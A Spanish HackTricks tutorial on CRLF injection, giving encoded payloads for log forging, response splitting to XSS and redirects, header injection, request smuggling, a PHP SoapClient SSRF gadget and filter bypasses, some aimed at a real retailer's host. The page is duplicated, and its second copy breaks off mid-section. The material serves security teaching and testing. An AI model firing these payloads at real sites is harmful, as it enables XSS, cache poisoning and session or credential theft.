# Inyección de CRLF (%0D%0A)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un avance de línea. En resumen, también se conocen como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y cuándo termina otro. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluidos Apache, Microsoft IIS y todos los demás.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### ¿Qué es la vulnerabilidad de inyección de CRLF?
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto los caracteres de retorno de carro como de avance de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario para que piense que se ha terminado un objeto y que ha comenzado otro. Como tales, las secuencias CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
## Inyección de CRLF en aplicaciones web
En las aplicaciones web, una inyección de CRLF puede tener graves impactos, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad directa de la aplicación web. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy graves en una aplicación web, aunque nunca se haya incluido en la lista OWASP Top 10. Por ejemplo, también es posible manipular archivos de registro en un panel de administración, como se explica en el siguiente ejemplo.
#### Un ejemplo de inyección de CRLF en un archivo de registro
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta visitada, como el siguiente:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Si un atacante es capaz de inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas de registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
El %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los mostrara:
IP - Tiempo - Ruta visitada
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro de acción restringida, que solo puede ser utilizado por un administrador.
El problema es que si el administrador nota que una dirección IP desconocida utilizó el parámetro de acción restringida, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un solo parámetro. Después de eso, hay otro & con el parámetro de acción restringida que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### Inyección de Respuesta HTTP
#### Descripción
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora puede escribir datos dentro del cuerpo de la respuesta donde se almacena el código HTML. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
#### Un ejemplo de Inyección de Respuesta HTTP que lleva a XSS
Imagina una aplicación que establece un encabezado personalizado, por ejemplo:
```
X-Your-Name: Bob
```
El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL y el valor se refleja directamente dentro del encabezado, es posible que un atacante inserte la combinación mencionada anteriormente de CRLFCRLF para indicar al navegador que comienza el cuerpo de la solicitud. De esta manera, puede insertar datos como carga útil XSS, por ejemplo:
```
?name=Bob%0d%0a%0d%0a
```
El ejemplo anterior mostrará una ventana de alerta en el contexto del dominio atacado.
#### Un ejemplo de HTTP Response Splitting que lleva a una redirección
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegador a:
```
/%0d%0aLocation:%20http://myweb.com
```
Y el servidor responde con la cabecera:
```
Location: http://myweb.com
```
**Otro ejemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### En la ruta de URL
Puedes enviar el payload **dentro de la ruta de la URL** para controlar la **respuesta** del servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
### Inyección de cabecera HTTP
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar cabeceras HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS del navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) de otra manera no explotables.
#### Un ejemplo de inyección de cabecera HTTP para extraer datos sensibles
Si un atacante puede inyectar las cabeceras HTTP que activan CORS (Compartición de recursos de origen cruzado), puede usar JavaScript para acceder a recursos que de otra manera estarían protegidos por SOP (Política de mismo origen), que impide que los sitios de diferentes orígenes se accedan entre sí.
### Nueva solicitud HTTP en SSRF
Al abusar de la inyección CRLF, se puede **crear una nueva solicitud HTTP e inyectarla**.\
Un buen ejemplo se puede hacer usando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent`, lo que permite **insertar nuevas cabeceras y contenido del cuerpo**. Sin embargo, incluso se puede abusar de esta vulnerabilidad para **inyectar una nueva solicitud HTTP:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Inyección de cabeceras para Request Smuggling
Puedes inyectar cabeceras esenciales para asegurarte de que el **back-end mantiene la conexión abierta** después de responder a la solicitud inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
A continuación, **especifique una segunda solicitud**. Aquí tiene un **clásico** [**smuggling de solicitud HTTP**](http-request-smuggling/) con **encabezados/cuerpo adicionales** agregados por el servidor después de la inyección.\
Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un **prefijo malicioso** para envenenar la solicitud del siguiente usuario o una caché web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
O crear nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar el **envenenamiento de la cola de respuestas**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para obtener más información sobre esta técnica y los posibles problemas, [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Inyección de Memcache
Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto claro**. Más información en:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la dirección IP y el puerto al que un usuario debía conectarse, y los atacantes podían **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos los nombres de usuario y las contraseñas) a los servidores del atacante:
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las direcciones IP y los puertos de los atacantes a los usuarios cuyo correo electrónico el atacante no conocía:
**Para obtener la información completa, lea el** [**informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impactos de la Vulnerabilidad de Inyección CRLF
El impacto de las inyecciones CRLF varía e incluye todos los impactos de la ejecución de código en sitios cruzados hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los filtros XSS y la Política de Origen de la misma en los navegadores de la víctima, dejándolos susceptibles a ataques maliciosos.
### Cómo prevenir las inyecciones CRLF / HTTP Header en aplicaciones web
La mejor técnica de prevención es no usar la entrada de los usuarios directamente dentro de los encabezados de respuesta. Si eso no es posible, siempre debe usar una función para codificar los caracteres especiales CRLF. Otra buena práctica de seguridad de aplicaciones web es actualizar su lenguaje de programación a una versión que no permita que CR y LF se inyecten dentro de las funciones que establecen los encabezados HTTP.
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Herramienta
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
## Lista de detección de fuerza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
## Referencias
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 (1).png)
 (1) (1) (1).png)
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un avance de línea. En resumen, también se conocen como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y cuándo termina otro. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluidos Apache, Microsoft IIS y todos los demás.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### ¿Qué es la vulnerabilidad de inyección de CRLF?
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto los caracteres de retorno de carro como de avance de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario para que piense que se ha terminado un objeto y que ha comenzado otro. Como tales, las secuencias CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
## Inyección de CRLF en aplicaciones web
En las aplicaciones web, una inyección de CRLF puede tener graves impactos, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad directa de la aplicación web. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy graves en una aplicación web, aunque nunca se haya incluido en la lista OWASP Top 10. Por ejemplo, también es posible manipular archivos de registro en un panel de administración, como se explica en el siguiente ejemplo.
#### Un ejemplo de inyección de CRLF en un archivo de registro
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta visitada, como el siguiente:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Si un atacante es capaz de inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas de registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
El %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los mostrara:
IP - Tiempo - Ruta visitada
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro de acción restringida, que solo puede ser utilizado por un administrador.
El problema es que si el administrador nota que una dirección IP desconocida utilizó el parámetro de acción restringida, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un solo parámetro. Después de eso, hay otro & con el parámetro de acción restringida que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### Inyección de Respuesta HTTP
#### Descripción
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora puede escribir datos dentro del cuerpo de la respuesta donde se almacena el código HTML. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
#### Un ejemplo de Inyección de Respuesta HTTP que lleva a XSS
Imagina una aplicación que establece un encabezado personalizado, por ejemplo:
```
X-Your-Name: Bob
```
El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL y el valor se refleja directamente dentro del encabezado, es posible que un atacante inserte la combinación mencionada anteriormente de CRLFCRLF para indicar al navegador que comienza el cuerpo de la solicitud. De esta manera, puede insertar datos como carga útil XSS, por ejemplo:
```
?name=Bob%0d%0a%0d%0a
```
El ejemplo anterior mostrará una ventana de alerta en el contexto del dominio atacado.
#### Un ejemplo de HTTP Response Splitting que lleva a una redirección
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegador a:
```
/%0d%0aLocation:%20http://myweb.com
```
Y el servidor responde con la cabecera:
```
Location: http://myweb.com
```
**Otro ejemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### En la ruta de URL
Puedes enviar el payload **dentro de la ruta de la URL** para controlar la **respuesta** del servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
### Inyección de cabecera HTTP
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar cabeceras HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS del navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) de otra manera no explotables.
#### Un ejemplo de inyección de cabecera HTTP para extraer datos sensibles
Si un atacante puede inyectar las cabeceras HTTP que activan CORS (Compartición de recursos de origen cruzado), puede usar JavaScript para acceder a recursos que de otra manera estarían protegidos por SOP (Política de mismo origen), que impide que los sitios de diferentes orígenes se accedan entre sí.
### Nueva solicitud HTTP en SSRF
Al abusar de la inyección CRLF, se puede **crear una nueva solicitud HTTP e inyectarla**.\
Un buen ejemplo se puede hacer usando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent`, lo que permite **insertar nuevas cabeceras y contenido del cuerpo**. Sin embargo, incluso se puede abusar de esta vulnerabilidad para **inyectar una nueva solicitud HTTP:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Inyección de cabeceras para Request Smuggling
Puedes inyectar cabeceras esenciales para asegurarte de que el **back-end mantiene la conexión abierta** después de responder a la solicitud inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
A continuación, **especifique una segunda solicitud**. Aquí tiene un **clásico** [**smuggling de solicitud HTTP**](http-request-smuggling/) con **encabezados/cuerpo adicionales** agregados por el servidor después de la inyección.\
Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un **prefijo malicioso** para envenenar la solicitud del siguiente usuario o una caché web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
O crear nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar el **envenenamiento de la cola de respuestas**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para obtener más información sobre esta técnica y los posibles problemas, [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Inyección de Memcache
Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto claro**. Más información en:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la dirección IP y el puerto al que un usuario debía conectarse, y los atacantes podían **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos los nombres de usuario y las contraseñas) a los servidores del atacante:
.png)
.png)